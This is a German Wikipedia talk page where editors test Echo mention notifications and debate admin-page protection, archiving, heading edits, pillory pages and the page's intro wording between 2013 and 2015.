Der verdacht besteht nicht, da umseitig (und in vielen anderen Fällen) ein Echo ausgelöst wurde. Ich weise nochmal darauf hin, daß oben die Verlinkung von -jkb- erst in einem zweiten Edit hinzugefügt wurde. Es besteht somit der Verdacht, daß Echo nur auslöst, wenn der Fremdaccount mit dem Edit verlinkt wird, in dem die eigene Signatur gesetzt wird. Demzufolge müßte Benutzer:Tsor ein Echo für genau diesen Edit erhalten. Benutzer:Saehrimnir dagegen nicht… --Matthiasb – Vandale am Werk™ ^{(CallMyCenter)} 09:47, 11. Dez. 2013 (CET)

…weil da sein Benutzername in diesem unsignierten Edit verlinkt wurde. (Siehe auch Versionsgeschichte) --Matthiasb – Vandale am Werk™ ^{(CallMyCenter)} 09:50, 11. Dez. 2013 (CET)

Habe eine echo-Nachricht bzgl. Matthiasb erhalten. --tsor (Diskussion) 10:52, 11. Dez. 2013 (CET)

Achso d.h. Eigendlich muss nur Hilfe:Echo angepasst werden. Denn das von Mathias beschriebene Verhalten ist genau das wie es gebaut ist. D.h. Echo wird nur ausgelöst wenn signiert wurde wenn dieser Test gemacht wurde um zu testen ob das auch wirklich so ist dann sorry das ich mich eingemischt habe. Nichts desto trotz funktioniert Echo bei manchen modifizierten Signaturen nicht insbesondere offenbar bei Benutzerinnen.--Saehrimnir (Diskussion) 13:12, 11. Dez. 2013 (CET)

Hmm, mit Benutzerin:Ra'ike teste ich das hiermit mal. Mit "Benutzer:Ra'ike" hat es ja funktioniert. --tsor (Diskussion) 13:16, 11. Dez. 2013 (CET)

Nein das ist umgekehrt du kannst Ra'ike mit beiden Varianten ein Echo schicken aber Ra'ike kann sich auf den Kopf stellen und wird dirk keins schicken können.--Saehrimnir (Diskussion) 13:21, 11. Dez. 2013 (CET)

Merkwürdig, dass viele solche Schwierigkeiten mit dem neuen System zu haben scheinen. Mir war jedenfalls auch ohne Hilfe sofort klar, dass Echos 1) nur bei Verlinkung der Benutzerseite des betreffenden Benutzers und 2) nur bei Aktivierung der entsprechenden Funktion in den Einstellungen funktioniert ;-)) Grüße -- Ra'ike ^Disk. _LKU ^WPMin 13:27, 11. Dez. 2013 (CET)

(BK) Theoretisch müsste sogar Benutzerinn:Tsor funktionieren? Wie gesagt PerfectesChaos hat das hier gut recherchiert und Benutzer:JEissfeldt (WMF) ist dabei zu klären wie das schnell behoben werden kann. --Saehrimnir (Diskussion) 13:35, 11. Dez. 2013 (CET)

Hm, Grüße an Benutzerin:-jkb- von -jkb- 13:38, 11. Dez. 2013 (CET) - - - klar, nix da. -jkb- 13:39, 11. Dez. 2013 (CET)

@Saehrimnir: Durch diesen Edit von Ra'ike wurde ich per Echo informiert. Ob sie sich dabei auf den Kopf gestellt hat weiss ich leider nicht ;-)) --tsor (Diskussion) 13:41, 11. Dez. 2013 (CET)

@Saehrimnir: Deine Falschverlinkung (Benutzerinn:Tsor) dürfte imo eher nicht funktionieren, Benutzerin:Tsor dagegen vielleicht schon ;-)

@-jkb-: Dass Du kein Echo auf Deinen Beitrag erhalten konntest, sollte eigentlich ebenfalls klar sein. Wäre auch unlogisch, sonst kriegte jeder, der einen signierten Diskussionsbeitrag (bei der seine Benutzerseite mit verlinkt ist) hinterlässt, jedesmal ein Echo. Gruß -- Ra'ike ^Disk. _LKU ^WPMin 13:45, 11. Dez. 2013 (CET)

@Rai'ke diese Diskussion geht darum das wenn du eine unmodifizierte Signatur verwenden würdest du keine Echos verschicken könntest. @Benutzerin:-jkb- davon das man sich selbst echos schicken kann weiß ich nichts. @Tsor im sinne meiner Aussage Ja da sie ihrer Signatur Benutzer statt Benutzerin stehen hat.--Saehrimnir (Diskussion) 13:47, 11. Dez. 2013 (CET)

Benutzer:Ra'ike kann dies bekommen, da ich meine Signatur auf „Benutzer“ geändert habe. Dann sollte es funktionieren. LG --Itti 13:48, 11. Dez. 2013 (CET)

also ich bekam beide, von Rai'ke wie auch als Frau -jkb- von Saehrimnir; ja klar, dass man sich selber ein Echo nicht schicken sollte ist klar, an sich, aber als Bug würde mich das gar nicht überraschen :-) -jkb- 13:50, 11. Dez. 2013 (CET)

@Tsor, Itti, Ra'ike, -jkb-: bei mir herrscht jetzt Funkstille. --Saehrimnir (Diskussion) 13:58, 11. Dez. 2013 (CET)

@Saehrimnir: ich habe dich gehört --Itti 14:00, 11. Dez. 2013 (CET)

+1 -jkb- 14:03, 11. Dez. 2013 (CET)

+1 und @Itti:, es ist egal, ob in der Verlinkung Benutzer oder Benutzerin steht, siehe oben ;-) Ich habe meine persönliche Signatur aber jetzt angepasst, nachdem ich erst durch die Anmerkung hier bemerkt habe, dass in meiner Sig. bisher noch Benutzer statt Benutzerin stand :-D

@Saehrimnir:: Wieso herrscht bei Dir jetzt Funkstille? Hast Du das entsprechende Echo in Deiner Einstellung rausgenommen? Gruß -- Ra'ike ^Disk. _LKU ^WPMin 14:08, 11. Dez. 2013 (CET)

Nachtrag: Ach ja, schöne und praktische Vorlage übrigens. Danke, Saehrimnir :-) -- Ra'ike ^Disk. _LKU ^WPMin 14:09, 11. Dez. 2013 (CET)

@Ra'ike: von dir habe ich jetzt keine Benachrichtigung bekommen   --Itti 14:11, 11. Dez. 2013 (CET)

Ah OK offensichtlich ändert sich die Signatur nicht automatisch mit den Benutzereinstellungen was das Problem etwas relativiert. Sorry an alle für den Spam. So sollte aber nichts mehr ankommen Benutzer:-jkb-? --Saehrimnir 14:12, 11. Dez. 2013 (CET)

letztes Echo 13:58 -jkb- 14:17, 11. Dez. 2013 (CET)

@-jkb-: Huhu --Itti 14:19, 11. Dez. 2013 (CET)

@Itti: hmm, lag evtl. daran, dass Du diese Seite vielleicht noch aktiv in einem anderen Tab Deines Browsers hattest. Deinen jetzigen Beitrag habe ich z.B. als Echo in meiner Liste, Deinen von 13:48 dagegen nicht, aber da hatte ich die Seite noch in einem offenen Tab geladen. Gruß -- Ra'ike ^Disk. _LKU ^WPMin 14:22, 11. Dez. 2013 (CET)

das scrollen wird immer mühsamer :-) ja, gehört. Ich muss jetzt übrigens weg, also nix mit weiteren pings, sonst habe ich da eine vierstellige rote Zahl ... -jkb- 14:23, 11. Dez. 2013 (CET)

@-jkb-: Challenge... accepted.--Saehrimnir 14:27, 11. Dez. 2013 (CET)

Könntet ihr das nicht bitte auf einer anderen Seite testen? NNW 14:37, 11. Dez. 2013 (CET)

@NordNordWest: Warum? Ich habe das jetzt erst gesehen und möchte auch mal ;-) --Mogelzahn (Diskussion) 11:14, 22. Dez. 2013 (CET)

@Mogelzahn: Frohe Weihnachten   --Itti 11:16, 22. Dez. 2013 (CET)

@Itti: Klappt doch ;-) Dir einen schönen vierten Advent und ab übermorgen ein frohes Weihnachtsfest. Aber als Tischtennisspieler hätte ich gerne noch den Befehl {{Pong|Benutzername}} für die Antwort. --Mogelzahn (Diskussion) 11:21, 22. Dez. 2013 (CET)

Weiterleitungen

Kann jemand erklären, wieso auf einmal auf externe Verlinkungen Rücksicht genommen werden muss? Ist ja so, als müsste Bundeskanzlerin Angela Merkel (Bundeskanzlerin) auf die chinesischen Befindlichkeiten Rücksicht nehmen. --49.145.41.163 16:43, 19. Dez. 2013 (CET)

Kontext? --Henriette (Diskussion) 12:06, 22. Dez. 2013 (CET)

Vermutlich Wikipedia:Administratoren/Notizen#SLAs auf Klammerweiterleitungen. -- kh80 •?!• 12:13, 22. Dez. 2013 (CET)

Umseitige Diskussion zur absonderlichen Löschung jahrealter Weiterleitungen, wohl Reaktion auf den mehrmaligen Hinweis Cool URIs don't change und/oder meinen Hinweis, daß es in Schwesterprojekten (Wikisource, Wikiquote, Wikinews) keine Möglichkeit gibt, in der Wikipedia verschobene Artikel zu verfolgen, ja es gibt nicht einmal die Möglichkeit tote Links aufzufinden. Ich vermute mal, daß umseitig gerade Halbsperre herrscht. --Matthiasb – Vandale am Werk™ ^{(CallMyCenter)} 12:14, 22. Dez. 2013 (CET)

Herrschte, nach Entsperrwunsch habe ich die Seite wieder frei gegeben. -- Perrak (Disk) 02:15, 24. Dez. 2013 (CET)

Wikipedia ist für die Leser da, also Externe. Und manchmal nimmt Merkel wohl auch auf chinesische Befindlichkeiten Rücksicht, dort allerdings eher aus Diplomatie. --Grip99 03:45, 24. Dez. 2013 (CET)

Änderung von Überschriften

Bitte nur im Konsens. "2 x VM Orientalist" zu "Stalking von Autoren" ist schon grenzwertig, daraus "Fachredaktionen" zu machen, ist verfälschend. Bitte respektieren, dass sich Kolleginnen und Kollegen zum ursprünglich in der Überschrift genannten Thema geäußert haben und weiter äußern wollen. Grüße, --JosFritz (Diskussion) 08:19, 26. Dez. 2013 (CET) Ich habe meine Bearbeitung rückgängig gemacht. Durch die Änderungen ist nicht mehr nachvollziehbar, wer wo wozu gepostet hat, aber das lässt sich inzwischen nicht mehr lösen.

Die Überschriften gehören zum Diskussionsbeitrag und sollten deshalb eigentlich nicht verändert werden, nur zB wenn beleidigend usw, ausserdem laufen Deeplinks auf einen umbenannten Abschnitt ins Leere. --MBq ^Disk 08:45, 26. Dez. 2013 (CET)

+1 Manchmal kann es sinnvoll sein, Zwischenüberschriften (eine Ebene tiefer) zu ziehen. --Drahreg01 (Diskussion) ^{Drei Wünsche frei} 09:23, 26. Dez. 2013 (CET)

Archivierbarkeit vollgeschützter Seiten

kann der Archivierungsbot umseitig eigentlich archivieren? Gruß --Howwi (Diskussion) 13:36, 12. Dez. 2013 (CET)

man kann es notfalls - bald - manuell machen, dann ist auch die Gefahr gebannt, dass es hierher oder anderswohin überschwappt :-) -jkb- 13:37, 12. Dez. 2013 (CET)

ich denke, das kann man Koenraad aufloben. --Howwi (Diskussion) 14:12, 12. Dez. 2013 (CET)

Der Abschnitt ist zwar schon etwas betagt, aber die Frage nach der Archivierbarkeit der Vorderseite scheint jetzt wieder aktuell. Gruß --Howwi (Diskussion) 11:13, 23. Jan. 2014 (CET)

Seitensperre

Eine permanente Seitensperre ist auf Wikipedia:Geschützte Seiten nicht vorgesehen. Laut Wikipedia:Grundprinzipien dient Wikipedia "dazu, eine Enzyklopädie aufzubauen", "Du bist ein Wikipedia-Autor, es gibt keinen Chefredakteur oder eine vergleichbare Instanz"; also auch Administratoren sind keine "Chefs vom Dienst".

Wie hieß noch genau die Seite, glaube von Benutzer:Reiner Stoppok angelegt, "Wikipedia:Benutzer/Notizen" oder so ähnlich, die wieder gelöscht wurde? Sonst könnte man also auch über eine Seite nachdenken, wo Administratoren keine Schreibrecht haben, wenn es gewünscht ist, daß es auf Klassen von Benutzern hiausläuft.

Etwas leid tut es mir, daß ich mich überhaupt je etwas bei Diskussionen auf dieser Projektseite geschrieben habe, um meine Zeit, Rosenkohl (Diskussion) 11:39, 23. Jan. 2014 (CET)

es handelte sich damals um die Seite Wikipedia:Nichtadmin/Notizen, Rosenkohl (Diskussion) 20:34, 23. Jan. 2014 (CET)

Ja, das sind so Momente, wo es einem leid tut, hier dabei zu sein. Port(u*o)s 11:53, 23. Jan. 2014 (CET)

+ 1. --Brodkey65|Hyperdieters Fußvolk! 11:54, 23. Jan. 2014 (CET)

Etwas macht mich an deinem Beitrag stutzig: Deiner Logik nach sollten also alle die gleichen Rechte haben. Das würde aber auch das Löschrecht, das Einsehen in gelöschten Versionen, das Sperrrecht etc. miteinbeziehen. --Filzstift ✏ 11:59, 23. Jan. 2014 (CET)

Diese Rechte sollte jeder Benutzer haben, der hier mehrere Jahre konstruktiv mitgearbeitet hat. MfG, --Brodkey65|Hyperdieters Fußvolk! 12:02, 23. Jan. 2014 (CET)

Nein, da widerspreche ich Brodkey. Ich finde es schon gut, dass Seitenschutz und Seitenlöschungen Benutzern übertragen werden, die dazu das Vertrauen ausgesprochen bekommen haben (Einsicht in gelöschte Seiten sollte mEn ein Recht sein, dass man erfahrenen Benutzern auch so geben sollte). Aber dass es zusätzliche Rechte für Admins gibt, heisst nicht, dass diese sich mit allen möglichen Zusatzrechten ausstatten dürfen, sondern sie sollen sich gefälligst darauf beschränken, ihre von der Community übertragenen Rechte (möglichst weise) zu nutzen. Insbesondere gefällt mir auch dein Vorschlag auf der Vorderseite nicht, dann halt in einen Adminchat umzuziehen. Ich sehe dafür gar keine Notwendigkeit, umso mehr den Schaden, der damit angerichtet würde. Gruss --Port(u*o)s 12:08, 23. Jan. 2014 (CET)

@Filzstift: Woraus meinst du, diese absurde Implikation ableiten zu können? Erweiterte Rechte können für bestimmte, relativ genau umgrenzte Zwecke eingesetzt werden; sie für andere Zwecke einzusetzen, stellt einen Missbrauch dar. Immerhin haben wir nun ein schönes Musterbeispiel dafür, was mit "Missbrauch der Adminrechte" überhaupt gemeint ist. Siehe insb. auch: Es handelt sich um normale Benutzer, denen das Vertrauen entgegengebracht wird, mit ihren zusätzlichen Werkzeugen im Sinne der Wikipedia-Grundsätze zu handeln und dabei ihre eigenen Interessen und Standpunkte zurückzustellen. Ein Administrator darf seine besonderen Befugnisse nicht in Diskussionen und Verfahren einsetzen, an denen er selbst als Partei beteiligt ist. ca$e 12:03, 23. Jan. 2014 (CET)

Der Versuch, ansatzweise unter sich zu bleiben und gleichzeitig den Eindruck von Transparenz zu erwecken, ist nachvollziehbar, wenn er vor dem Hintergrund gesehen wird, dass wir Fußvolk nur ein blutgieriger Mob (Zitat DaB) sind. Es ist doch aus Adminsicht verständlich, wenn man uns, die ganzen Laberer und Diskussionstrolle, aussperren will, um seine administrative Ruhe zu haben, und ungestört Entscheidungen zu fällen. Es sieht aus, als wenn dies bereits der Anfang einer neuen Ausrichtung der Wikipedia ist, die konsequent in Richtung Ausschluss missliebiger User geht. Die Ära des Jeder-Darf-Mitarbeiten, immerhin ein Essential der Wikipedia, scheint langsam aber sicher zu Ende zu gehen. Weitere Seiten werden folgen, Sperrprüfung, Usercheck und ähnliches. Den Zeitrahmen schätze ich auf drei bis vier Jahre ein. Mal sehn, was noch kommt :-) --Schlesinger ^schreib! 12:32, 23. Jan. 2014 (CET)

Vollgeschützte Seiten

Ich habe, solange ich Admin war, es so gehalten, das ich in vollgeschützten Seiten lediglich administrativ tätig wurde oder editiert habe, um einen allseits akzeptierten Konsens umzusetzen (in der Regel Rechtschreibfehler). Ich halte das auch für guten Gebrauch dieser Rechte. Insbesondere kein guter Gebrauch ist es meines Erachtens nach, sich Sonderrechte zu verschaffen bzw. der Allgemeinheit Minderrechte zu verschaffen, die dann als Bittsteller darauf hoffen muss, am Katzentisch wahrgenommen zu werden. Ich hab im Übrigen nichts dagegen, wenn Admins die ihnen (wie uns allen) obliegende Aufgabe wahrnehmen, Diskussionen sachlich zu halten und gegebenenfalls zu moderieren. BTW, welche Diskussion auf A/N wurde denn kürzlich von Nichtadmins so zerlabert (die nicht gleichzeitig von Admins zerlabert wurde)? Gibts da Beispiele oder ist die Umsetzung des Seitenschutzes durch Hyperdieter nur Ausdruck eines undifferenzierten (‚dumpfen‘) Ressentiments? Gruss an die Junker Port(u*o)s 11:42, 23. Jan. 2014 (CET)

+1, siehe auch WP:EW. ca$e 11:42, 23. Jan. 2014 (CET)

+1 -- 217.70.160.66 11:49, 23. Jan. 2014 (CET)

+1. MfG, --Brodkey65|Hyperdieters Fußvolk! 11:51, 23. Jan. 2014 (CET)

+1. Widerspricht dem Geist des Projekts und Wikipedia:A#Stellung_in_der_Wikipedia sowieso. -- Hans Koberger 11:55, 23. Jan. 2014 (CET)

+1. Wie Hans. --Woches 12:05, 23. Jan. 2014 (CET)

+ 1. Wie Hans, zudem untauglicher Versuch, sich Ruheraum zu verschaffen. --Alupus (Diskussion) 14:50, 23. Jan. 2014 (CET) PS: Wie ich es nicht anders erwartet habe, hat sich zudem umseitig noch keiner bemüht, das Intro dem aktuellen Stand der Dinge anzupassen.

Nur mal als technische Frage: Kann bei einer vollgeschützten Seite überhaupt der SpBot archivieren?--Emergency doc (Disk) 11:50, 23. Jan. 2014 (CET)

Nein, kann er nicht. D.h. man müsste das manuell archivieren. --Filzstift ✏ 11:57, 23. Jan. 2014 (CET)

Ebenfalls Zustimmung zu Hans, außerdem habe ich keine Lust, die Seite auf meine Beo zu nehmen, um zu schauen, ob sich auf der Diskussionsseite etwas wichtiges tut. -- Perrak (Disk) 12:58, 23. Jan. 2014 (CET)

Nur halbe Zustimmung. Natürlich sind wir frei darin, Seiten aus sachlichen Gründen voll zu sperren. So sperren wir erledigte Wiederwahlseiten dauerhaft: Einfach weil es keinen sinnvollen Grund gibt, dass darauf weiter editiert wird. Wenn ich mir das Intro dieser Seite ansehe, lese ich "Die Administratoren-Notizen dienen dazu, die Zusammenarbeit unter den Administratoren besser zu koordinieren". Hierzu ist es nicht notwendig, dass ein Nicht-Admin auf dieser Seite schreibt. Eine Vollsperre wäre daher sachlich sinnvoll. Der Satz geht aber weiter "und um sie auf wichtige oder außergewöhnliche Vorgänge in der Wikipedia hinzuweisen." Das richtet sich offenkundig auch an Nicht-Admins. Damit ist eine Vollsperre schlicht nicht sachgerecht.--Karsten11 (Diskussion) 13:50, 23. Jan. 2014 (CET)

Nein Karsten11, das ist ein Trugschluss, dass die Koordination der Admins eine Aufgabe ist, die diesen obliegt und zu der Nicht-Admins nichts beitragen könnten. Vielmehr können wir Euch eine Perspektive liefern, die ihr (und zwar ganz offensichtlich) oft nicht einnehmen könnt: Die des Nicht-Admins. Ausserdem ist es ja nicht so, dass die Koordination der Admins eine Aufgabe ist, die dem Zusammentreten in Marschformation entspricht (heisst das so? Ich war nicht beim Militär), wofür Zivilisten in der Tat hinderlich wären. Vielmehr ist es oft das Picken nach dem Korn auf einem unübersichtlichen Hühnerhof. Und da ist es gar nicht unwahrscheinlich, dass das blinde Huhn, dass dann erfolgreich ist, vielleicht gerade einmal ohne Admin-Binde rumgackert. Port(u*o)s 14:01, 23. Jan. 2014 (CET)

Prangerseiten

Ich spreche mich für die Löschung solcher öffentlichen "Pranger"-Seiten aus. Es reicht vollkommen, wenn man sich diese Seiten auf der eigenen Festplatte speichert. Darauf können diejenigen, die diese Seiten offensichtlich benötigen, zurückgreifen, wenn es notwendig ist. Dabei spreche ich von Seiten mit Zitatsammlungen. Seiten, auf denen lediglich dokumentiert, wer wann editiert hat, um evtl. Sockenpuppen oder Sperrumgehungen zu erkennen, sind imo eine andere Geschichte. -- Nicola - Ming Klaaf 08:32, 8. Mär. 2014 (CET)

Diesbezüglich hätte ich auch einen Vorschlag. Es sollte grundsätzlich jeder Benutzer das Recht haben, eine Entfernung seines Benutzernamens, wenn er auf fremden Benutzerseiten aufscheint, zu verlangen. -- Hans Koberger 09:37, 8. Mär. 2014 (CET)

Yellowcard hatte auf der Vorderseite ausdrücklich um Adminmeinungen gebeten, und alles diskutiert dort rum und führt damit das ursprüngliche Anliegen von Y. ad absurdum. Ein Trauerspiel. -- Nicola - Ming Klaaf 21:56, 8. Mär. 2014 (CET)

Änderungsvorschlag im Wortlaut dieser Seite

Ich möchte anregen, einen zusätzlichen Satz auf der Vorderseite hinzuzufügen: Auch Overruling-Gesuche können von Administratoren hier eingestellt werden. Was haltet Ihr davon? Es könnte dann wie folgt auf der Vorderseite erscheinen: Die Administratoren-Notizen dienen dazu, die Zusammenarbeit unter den Administratoren besser zu koordinieren und um sie auf wichtige oder außergewöhnliche Vorgänge in der Wikipedia hinzuweisen.Auch Overruling-Gesuche können von Administratoren hier eingestellt werden.Die Seite ist nicht der richtige Ort,...usw. Mit freundlichem Gruß--87.147.157.46 12:56, 16. Sep. 2014 (CEST)

Wenn mit "Overruling-Gesuche" eine zweite Adminmeinung gemeint ist, steckt das in "die Zusammenarbeit unter den Administratoren besser zu koordinieren" explizit drin. Sonst haben wir für "Overrulinggesuche" die Seiten WP:SP, WP:LP und WP:EW, die zielführender sind. -- Cymothoa 13:07, 16. Sep. 2014 (CEST)

Hallo Cymothoa. Das ist wohl richtig was Du schreibst. Als Wikipedia-Leser lese ich auf den von Dir aufgeführten Seiten oft den Hinweis: "Wer anderer Ansicht ist,kann mich gerne overrulen." (das ist ein Beispiel in der Formulierung), oder ähnlich. Das liest aber nicht jeder Admin. Administratoren/Notizen ist ja sozusagen das "große schwarze Brett". Da gehört meiner bescheidenden Meinung nach, auch so ein Wunsch hin. :-) Gruß--87.147.157.46 13:16, 16. Sep. 2014 (CEST)Noch ein Nachtrag: Es sollen ja auch unbeteiligte Administratoren zu Worte kommen, darüber müssen sie ja auch irgendwo ausreichend informiert werden.--87.147.157.46 13:29, 16. Sep. 2014 (CEST)

Aber wäre für das Anliegen nicht zielführender, Admins auf den entsprechenden Seiten besser darauf hinzuweisen, dass sie hier Hilfe finden, wenn sie dort "überlesen" werden? -- Cymothoa 13:37, 16. Sep. 2014 (CEST)

Administratoren sollen ja von dieser Seite (Administratoren/Notizen) direkt an den Ort des Geschehens geleitet werden, und nicht umgekehrt. Anderenfalls müsste ja vielleicht erst ein neuer Diskussionsabschnitt eröffnet werden.--87.147.157.46 14:04, 16. Sep. 2014 (CEST)

Das ist aber doch bei dem jetzigen Intro auch schon möglich?! Yellowcard (D.) 14:08, 16. Sep. 2014 (CEST)

Hallo Yellowcard. Das könnte man so sehen. Ich nehme an, Du beziehst Dich auf das Wort "koordinieren" ? Aus dem Wort geht allerdings nicht unbedingt hervor, dass damit auch auch Handlungen gemeint sind, die bereits abgeschlossen sind, bzw. als abgeschlossen gelten. Handlungen bitte im Sinne von Entscheidungen interpretieren.--87.147.157.46 14:25, 16. Sep. 2014 (CEST)

Änderungsvorschlag 2 im Wortlaut dieser Seite

Inzwischen bin ich (87.147.157.46 von vorhergehendem Abschnitt) von dem Formulierungsvorschlag mit den Overruling-Gesuch nicht mehr überzeugt. Da es aber wichtig ist, auch zum Ausdruck zu bringen, dass Administratoren hier selbstverständlich immer Nachfragen können, auch wenn Entscheidungen bereits getroffen wurden, möchte ich anregen folgende Formulierung auf die Vorderseite zu übernehmen:

Die Seite Admin-Notizen dient dazu, Administratoren auf wichtige oder außergewöhnliche Vorgänge in der Wikipedia hinzuweisen, Feedback von Administratoren einzuholen und bei größeren Problemen die Zusammenarbeit unter den Admins besser zu koordinieren.

Diese Formulierung findet sich auch auf folgender Seite: http://de.wikipedia.org/wiki/Wikipedia:Administratoren . Mit freundlichem Gruß--91.50.76.240 12:59, 21. Sep. 2014 (CEST)

Die allgemeine Feedback-Seite für Admins ist eigentlich Wikipedia:Administratoren/Anfragen, nicht diese Seite. Wenn es um allgemeine Regeln geht, ist die Seite natürlich richtig, zum Beispiel habe ich vor ein paar Minuten eine Entscheidung zu Sichterrechten hier zur Diskussion gestellt. Das muss aber nicht unbedingt ins Seiten-Intro. -- Perrak (Disk) 18:18, 28. Sep. 2014 (CEST)

Hallo Perrak. Hm, das sehe ich ganz anders. ;-) Die allgemeine Feedback-Seite für Admins ist doch nicht Administratoren/Anfragen. Auf Administratoren/Anfragen können die Benutzer Anfragen an die Administratoren stellen, siehe Wortlaut dort: "Auf den Adminanfragen kannst du Wikipedia-Administratoren um Hilfe bitten, wenn dein Anliegen zu keiner anderen Seite passt." Administratoren/Notizen hingegen ist das Gesprächsportal für Administratoren untereinander. Freundlicher Gruß--91.50.68.140 08:17, 26. Okt. 2014 (CET)

+1 zur IP hinsichtlich der Zuordnung der Seiten - ich hatte bislang die Anfragenseite so verstanden, dass dort alle Benutzer Anfragen an Admins stellen können, wenn das Anliegen auf keine andere Seite passt. Die Notizenseite ist primär zur Abstimmung der Adminarbeit im allgemeinen oder bei bestimmten, anderswo nicht passenden Einzelthemen, ausdrücklich unter Beteiligung von Nicht-Admins. Änderungsbedarf am Intro sehe ich allerdings nicht, bislang funktioniert die Zuordnung ausreichend. --Wdd (Diskussion) 10:52, 3. Jun. 2015 (CEST)

Admin-3M

Da der ganze Streit aufgrund einer von mir gestellten Anfrage losbrach, möchte ich mich noch einmal erklären: Als Neu-Admin bin ich noch nicht immer in allen Bereichen so sicher. Wenn ich mich z.B. an die Abarbeitung einer über 3 Wochen hitzig und kontrovers geführten LD mache, vermisse ich eine unkomplizierte Möglichkeit, in die Runde der in solchen Entscheidungen erfahrenen Admins eine Frage wie: „Ich sehe das so und so und würde daher (z.B.) den Artikel behalten wollen“ stellen zu können. Wenn ich dann mit zwei oder drei weiteren Meinungen, wie das Ganze abzuarbeiten sei konfrontiert werde, kann das für mich wine Hilfe sein, um Fehlentscheidungen zu vermeiden. Unser System von LD und LP bzw. VM und SP ist manchmal sehr starr und eine von mir angedachte Adminarbeitsseite könnte helfen, offensichtliche Fehleinschätzungen und Fehlurteile im Vorfeld zu vermeiden. Das Mehraugenprinzip ist in diesem Zusammenhang ja auch immer wieder genannt worden. IMHO müsste so eine Seite auch nicht gesperrt sein, im Gegenteil wären ja Tips und Hinweise von erfahrenen Benutzern immer hilfreich, z.B. auch um neue Admins für den Kategorienbereich zu gewinnen, der ja immer so abschreckend kompliziert beschrieben wird, daß dwr durchschnittliche NeuAdmin sich da vermutlich auf Jahre nicht dran trauen wird. Nur müsste IMHO irgendwie verhindert werden, daß so eine Seite zu einer zweiten LD oder VM verkommt. In der Hoffnung meine Gedanken verständlich gemacht zu haben. --Emergency doc (Disk) 14:03, 23. Jan. 2014 (CET) P.S.: per Smartphone, daher sorry für die Typos.

Ja, das finde ich sehr löblich und auch sinnvoll. Für solche Einzelfragen würde ich aber eher die Notizen sowieso nicht nutzen, wie wäre es, dafür eine neue Seite zu etablieren, erstmal in (Deinem) BNR, bei Erfolg dann ‚offiziell‘ im WP-Namensraum? Allerdings muss ich sagen, ich fände eine entsprechende Diskussion auf A/N auch nicht schlecht, und gegen Zertrollen hilft meines Erachtens nach moderieren und meiner Erfahrung nach selektives lesen. Die wertvollen Hinweise, die Du bekommmst, musst Du Dir ja ohnehin extrahieren – oft erzählt einem ja auch der Admin von nebenan nur Unsinn – und die notwendigen Schlüsse sowieso selbst ziehen. Denn es wird ja Deine Entscheidung sein und bleiben, mit Deiner Signatur paraphiert. Gruss Port(u*o)s 14:09, 23. Jan. 2014 (CET)

Leicht oT: Inwiefern erleichtert es denn eigentlich das Abarbeiten von LDs, wenn jemand die Pro&Kontra auflistet. Klar, manchmal ist da viel POV im Spiel, aber in den meisten Fällen handelt es sich ja um eine recht objektive Zusammenfassung. Auf der anderen Seite würde ich mir mehr Disziplin wünschen. Ganz spontan und aktuell stieß mir z.B. heute die LD zur SV sauer auf. Die meisten Beiträge könnten komplett und verlustfrei entfernt werden (meine letzten zählen auch dazu). --Ingo  12:59, 11. Jun. 2014 (CEST) P.S.: Könnt ihr nicht einfach die LK-Disk nach z.B. einem Monat auf sysop stellen? Dann wäre der Austausch für (A) gesichert und das Verfahren trotzdem transparent.

Es ging bei dem Vorschlag aus meiner Sicht damals weniger um eine vollgesperrte Sysop-only Seite sondern um eine Möglichkeit sachlich Problemfälle erörtern zu können (auch mit Nicht-Admins) ohne in eine emotionsgeladene LD2.0 abzugleiten. War aus heutiger Sicht wohl etwas naiv mein Vorschlag. Gruß--Emergency doc (Disk) 17:35, 12. Jun. 2014 (CEST)

Mir gefällt der Vorschlag dennoch, 4 Augen sehen besser als 2 ... Eigentlich müßte man das mal ausprobieren! Auch für Regelinterpretationen wäre dies z. B. hilfreich -- Christian2003·???^RM 23:15, 12. Jun. 2014 (CEST)

Du nennst das "etwas naiv", ich nenne das eher ein unvoreingenommenes Herangehen an ein Problem. Das kritische Hinterfragen von althergebrachten Prozeduren und Verfahren ist in meinen Augen eine sehr gute Sache. Beim Beamtendreisatz ("Das haben wir schon immer so gemacht", "das haben wir noch nie so gemacht", "da kann ja jeder kommen") bekomme ich regelmäßig Schaum vorm Mund. Alles ist immer veränderbar, nur durch Hinterfragen (und in den meisten Fällen dann auch wieder verwerfen) kann man eine Verbesserung erreichen. Also bitte weiter naiv sein!

Was die emotionslose LD2.0 angeht, bleibt auch weiter das Problem, dass die gleichen Protagonisten auch die gleichen Meinungen vertreten werden. Dem könnte man nur durch eine Expertenkommission (dem steht WP:Anon entgegen) oder ein MB/Umfrage (dauert zu lange) begegnen. --Ingo  12:58, 13. Jun. 2014 (CEST)

Früher eher unbelebt, jetzt guter Ort zum Nachfragen: WP:Chat → [#wikipedia-de-admins] ^Webchat −Sargoth 17:37, 5. Jun. 2015 (CEST)

Warum das?

[11][12] sind für mich unverständlich. --88.68.31.5 15:11, 24. Okt. 2015 (CEST)

Wenn Du das Intro der Seite ansiehst findest Du "Die Seite ist nicht der richtige Ort, um projektweite Diskussionen zu führen, geh dazu bitte nach Wikipedia:Projektdiskussion.". Wenn Du die Regelungen für Benutzersperren ändern willst, ist das die falsche Seite hierzu. --Karsten11 (Diskussion) 15:44, 24. Okt. 2015 (CEST)

Eine andere Anlaufstelle ist WP:SP, denn wir sperren keine Menschen, sondern Accounts und IPs, und jede Sperre ist ein Einzelfall bezüglich der Beiträge des jeweiligen Accounts. --Logo 15:49, 24. Okt. 2015 (CEST)

In den meinem vorangegangenen Beiträgen wird die gängige Sperrpraxis diskutiert. Auf das und nichts anderes bezieht sich meine Beitrag. Was unterscheidet meinen Beitrag aus Eurer Sicht von denen, die Ihr stehen gelassen habt? Ich sehe keinen Änderungsbedarf bei den geltenden BS-Richtlinien, sondern einen Änderungsbedarf hinsichtlich der Sperrpraxis, den ich in meinem Beitrag sachlich begründe. Auf SP gehört das noch weniger, weil ich mich gar nicht auf SP beziehe, sondern weit vorher ansetze mit meinen Überlegungen, nämlich vor der Sperre. --88.68.31.5 16:27, 24. Okt. 2015 (CEST)